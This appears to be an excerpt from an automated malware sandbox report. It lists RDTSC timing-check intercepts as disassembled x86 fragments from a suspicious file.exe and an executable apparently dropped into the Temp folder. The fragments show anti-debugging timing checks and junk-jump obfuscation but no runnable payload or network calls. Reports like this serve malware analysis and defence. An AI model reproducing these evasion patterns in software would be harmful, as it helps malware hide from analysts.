Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10919 second address: 4C109B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD2886DB1B1h 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 pushad 0x00000012 mov cx, 5EE9h 0x00000016 pushfd 0x00000017 jmp 00007FD2886DB1B6h 0x0000001c sbb ax, 63B8h 0x00000021 jmp 00007FD2886DB1ABh 0x00000026 popfd 0x00000027 popad 0x00000028 mov edi, esi 0x0000002a popad 0x0000002b nop 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov ebx, 40B2B032h 0x00000034 pushfd 0x00000035 jmp 00007FD2886DB1B3h 0x0000003a sbb si, 622Eh 0x0000003f jmp 00007FD2886DB1B9h 0x00000044 popfd 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C109B0 second address: 4C10A0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD28914AC87h 0x00000009 and ecx, 01A5F83Eh 0x0000000f jmp 00007FD28914AC89h 0x00000014 popfd 0x00000015 mov esi, 347AA787h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push esi 0x00000022 pop edx 0x00000023 call 00007FD28914AC82h 0x00000028 pop esi 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10007 second address: 4C1001B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FD2886DB1AEh 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1001B second address: 4C1005F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FD28914AC80h 0x0000000f push eax 0x00000010 jmp 00007FD28914AC7Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007FD28914AC7Eh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1005F second address: 4C10065 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10065 second address: 4C10096 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, si 0x00000010 pushfd 0x00000011 jmp 00007FD28914AC7Eh 0x00000016 and cx, CEC8h 0x0000001b jmp 00007FD28914AC7Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10096 second address: 4C100EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD2886DB1B3h 0x00000013 sub ax, EA6Eh 0x00000018 jmp 00007FD2886DB1B9h 0x0000001d popfd 0x0000001e mov di, cx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C100EE second address: 4C1015F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD28914AC83h 0x00000009 and esi, 4D46307Eh 0x0000000f jmp 00007FD28914AC89h 0x00000014 popfd 0x00000015 movzx eax, dx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov cx, bx 0x00000022 pushfd 0x00000023 jmp 00007FD28914AC7Bh 0x00000028 and ecx, 710F628Eh 0x0000002e jmp 00007FD28914AC89h 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C101B2 second address: 4C101C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C101C3 second address: 4C101C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C101C9 second address: 4C101CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C101CD second address: 4C10E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a and bl, 00000001h 0x0000000d movzx eax, bl 0x00000010 lea esp, dword ptr [ebp-0Ch] 0x00000013 pop esi 0x00000014 pop edi 0x00000015 pop ebx 0x00000016 pop ebp 0x00000017 ret 0x00000018 add esp, 04h 0x0000001b jmp dword ptr [000CA41Ch+ebx*4] 0x00000022 push edi 0x00000023 call 00007FD289170677h 0x00000028 push ebp 0x00000029 push ebx 0x0000002a push edi 0x0000002b push esi 0x0000002c sub esp, 000001D0h 0x00000032 mov dword ptr [esp+000001B4h], 000CCB10h 0x0000003d mov dword ptr [esp+000001B0h], 000000D0h 0x00000048 mov dword ptr [esp], 00000000h 0x0000004f mov eax, dword ptr [000C81DCh] 0x00000054 call eax 0x00000056 mov edi, edi 0x00000058 jmp 00007FD28914AC86h 0x0000005d xchg eax, ebp 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10E2C second address: 4C10E49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10E49 second address: 4C10E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10E4F second address: 4C10E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10E53 second address: 4C10E57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10E57 second address: 4C10ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FD2886DB1B4h 0x00000010 add al, 00000048h 0x00000013 jmp 00007FD2886DB1ABh 0x00000018 popfd 0x00000019 jmp 00007FD2886DB1B8h 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 pushad 0x00000021 mov esi, 46BEDDFDh 0x00000026 movzx esi, dx 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c jmp 00007FD2886DB1B5h 0x00000031 cmp dword ptr [75AF459Ch], 05h 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10ECC second address: 4C10ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, dx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10ED4 second address: 4C10F31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD2886DB1B0h 0x00000009 and ecx, 10CCE068h 0x0000000f jmp 00007FD2886DB1ABh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FD2886DB1B8h 0x0000001b xor al, FFFFFFC8h 0x0000001e jmp 00007FD2886DB1ABh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 je 00007FD2F9558C80h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10F31 second address: 4C10F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10F35 second address: 4C10F3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10F3B second address: 4C10F63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD28914AC87h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10F63 second address: 4C10F69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10F69 second address: 4C10F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10F6D second address: 4C10F71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2000E second address: 4C20020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD28914AC7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20020 second address: 4C20059 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 34616A8Eh 0x0000000d jmp 00007FD2886DB1ACh 0x00000012 xor dword ptr [esp], 41CFF6A6h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FD2886DB1B7h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2018E second address: 4C20192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20192 second address: 4C20196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20196 second address: 4C2019C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C307E3 second address: 4C307F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C308FD second address: 4C30923 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD28914AC7Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30923 second address: 4C30964 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FD2F9538C25h 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007FD2886DB1AAh 0x00000016 mov dx, ax 0x00000019 popad 0x0000001a mov si, C1CDh 0x0000001e popad 0x0000001f cmp dword ptr [75AF459Ch], 05h 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov dx, F2E8h 0x0000002d mov ch, bl 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30964 second address: 4C309BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FD2F9FC0792h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FD28914AC7Bh 0x00000016 add al, FFFFFFDEh 0x00000019 jmp 00007FD28914AC89h 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FD28914AC7Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C309BC second address: 4C309CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2886DB1ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A08 second address: 4C30A0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A0C second address: 4C30A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A12 second address: 4C30A56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b jmp 00007FD28914AC7Dh 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007FD28914AC81h 0x00000017 xchg eax, esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD28914AC7Dh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A56 second address: 4C30A5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A81 second address: 4C30A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30A87 second address: 4C30ACA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 pushfd 0x00000006 jmp 00007FD2886DB1B4h 0x0000000b and cx, 7918h 0x00000010 jmp 00007FD2886DB1ABh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD2886DB1B0h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30ACA second address: 4C30ACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30ACE second address: 4C30AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: E6E66F second address: E6E679 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD28914AC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: E6E679 second address: E6DEBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c cld 0x0000000d push dword ptr [ebp+122D0B75h] 0x00000013 stc 0x00000014 call dword ptr [ebp+122D1C5Dh] 0x0000001a pushad 0x0000001b or dword ptr [ebp+122D1D4Ah], ecx 0x00000021 xor eax, eax 0x00000023 pushad 0x00000024 mov esi, 36D18404h 0x00000029 call 00007FD2886DB1B2h 0x0000002e mov dword ptr [ebp+122D1D4Ah], eax 0x00000034 pop ecx 0x00000035 popad 0x00000036 mov dword ptr [ebp+122D1D57h], edi 0x0000003c mov edx, dword ptr [esp+28h] 0x00000040 jmp 00007FD2886DB1AFh 0x00000045 mov dword ptr [ebp+122D1D52h], esi 0x0000004b mov dword ptr [ebp+122D3D09h], eax 0x00000051 pushad 0x00000052 jns 00007FD2886DB1ACh 0x00000058 xor dword ptr [ebp+122D1D52h], edx 0x0000005e popad 0x0000005f mov esi, 0000003Ch 0x00000064 mov dword ptr [ebp+122D1D4Ah], edi 0x0000006a add esi, dword ptr [esp+24h] 0x0000006e jmp 00007FD2886DB1ABh 0x00000073 xor dword ptr [ebp+122D1D57h], eax 0x00000079 lodsw 0x0000007b jp 00007FD2886DB1ADh 0x00000081 jno 00007FD2886DB1A7h 0x00000087 add eax, dword ptr [esp+24h] 0x0000008b cmc 0x0000008c mov ebx, dword ptr [esp+24h] 0x00000090 jmp 00007FD2886DB1AEh 0x00000095 nop 0x00000096 pushad 0x00000097 push eax 0x00000098 push edx 0x00000099 push eax 0x0000009a push edx 0x0000009b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: E6DEBE second address: E6DEC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF6E81 second address: FF6E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FECED0 second address: FECEDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FECEDB second address: FECEFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FD2886DB1ACh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF634B second address: FF6357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF6745 second address: FF674B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF674B second address: FF6755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF6755 second address: FF6760 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF6760 second address: FF6768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8AA0 second address: FF8AE2 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD2886DB1B2h 0x00000008 jmp 00007FD2886DB1ACh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jc 00007FD2886DB1B9h 0x00000016 jmp 00007FD2886DB1B3h 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f push eax 0x00000020 push edx 0x00000021 je 00007FD2886DB1ACh 0x00000027 jbe 00007FD2886DB1A6h 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8AE2 second address: FF8AFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8AFC second address: E6DEBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jmp 00007FD2886DB1B9h 0x00000013 pop eax 0x00000014 mov dword ptr [ebp+122D1C67h], ebx 0x0000001a push dword ptr [ebp+122D0B75h] 0x00000020 add cx, 0120h 0x00000025 call dword ptr [ebp+122D1C5Dh] 0x0000002b pushad 0x0000002c or dword ptr [ebp+122D1D4Ah], ecx 0x00000032 xor eax, eax 0x00000034 pushad 0x00000035 mov esi, 36D18404h 0x0000003a call 00007FD2886DB1B2h 0x0000003f mov dword ptr [ebp+122D1D4Ah], eax 0x00000045 pop ecx 0x00000046 popad 0x00000047 mov dword ptr [ebp+122D1D57h], edi 0x0000004d mov edx, dword ptr [esp+28h] 0x00000051 jmp 00007FD2886DB1AFh 0x00000056 mov dword ptr [ebp+122D1D52h], esi 0x0000005c mov dword ptr [ebp+122D3D09h], eax 0x00000062 pushad 0x00000063 jns 00007FD2886DB1ACh 0x00000069 xor dword ptr [ebp+122D1D52h], edx 0x0000006f popad 0x00000070 mov esi, 0000003Ch 0x00000075 mov dword ptr [ebp+122D1D4Ah], edi 0x0000007b add esi, dword ptr [esp+24h] 0x0000007f jmp 00007FD2886DB1ABh 0x00000084 xor dword ptr [ebp+122D1D57h], eax 0x0000008a lodsw 0x0000008c jp 00007FD2886DB1ADh 0x00000092 jno 00007FD2886DB1A7h 0x00000098 add eax, dword ptr [esp+24h] 0x0000009c cmc 0x0000009d mov ebx, dword ptr [esp+24h] 0x000000a1 jmp 00007FD2886DB1AEh 0x000000a6 nop 0x000000a7 pushad 0x000000a8 push eax 0x000000a9 push edx 0x000000aa push eax 0x000000ab push edx 0x000000ac rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8B57 second address: FF8B85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D2146h], ebx 0x00000012 mov dh, 84h 0x00000014 push 00000000h 0x00000016 mov di, A28Fh 0x0000001a push 2F68D3F1h 0x0000001f push eax 0x00000020 push edx 0x00000021 push edi 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8B85 second address: FF8BF6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 2F68D371h 0x0000000f mov edx, esi 0x00000011 push 00000003h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FD2886DB1A8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d add dword ptr [ebp+122D1D37h], esi 0x00000033 push 00000000h 0x00000035 mov ecx, dword ptr [ebp+122D3B95h] 0x0000003b pushad 0x0000003c mov edx, dword ptr [ebp+122D3B89h] 0x00000042 mov ebx, dword ptr [ebp+122D3C89h] 0x00000048 popad 0x00000049 push 00000003h 0x0000004b or dword ptr [ebp+122D23FBh], ebx 0x00000051 call 00007FD2886DB1A9h 0x00000056 push eax 0x00000057 push edx 0x00000058 jo 00007FD2886DB1ACh 0x0000005e jl 00007FD2886DB1A6h 0x00000064 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8D5C second address: FF8E1A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD28914AC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FD28914AC78h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 mov cl, dl 0x00000028 call 00007FD28914AC7Dh 0x0000002d sbb cx, 8467h 0x00000032 pop edx 0x00000033 push 00000000h 0x00000035 push 213578A2h 0x0000003a jmp 00007FD28914AC81h 0x0000003f xor dword ptr [esp], 21357822h 0x00000046 and esi, 3CA90046h 0x0000004c xor dword ptr [ebp+122D21E5h], esi 0x00000052 push 00000003h 0x00000054 push 00000000h 0x00000056 push eax 0x00000057 call 00007FD28914AC78h 0x0000005c pop eax 0x0000005d mov dword ptr [esp+04h], eax 0x00000061 add dword ptr [esp+04h], 0000001Dh 0x00000069 inc eax 0x0000006a push eax 0x0000006b ret 0x0000006c pop eax 0x0000006d ret 0x0000006e push 00000000h 0x00000070 add ecx, dword ptr [ebp+122D3A45h] 0x00000076 push 00000003h 0x00000078 mov esi, dword ptr [ebp+122D3ADDh] 0x0000007e push FF9F8051h 0x00000083 push eax 0x00000084 push edx 0x00000085 jmp 00007FD28914AC81h 0x0000008a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8E1A second address: FF8E1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8EF5 second address: FF8EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	RDTSC instruction interceptor: First address: FF8EF9 second address: FF8EFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
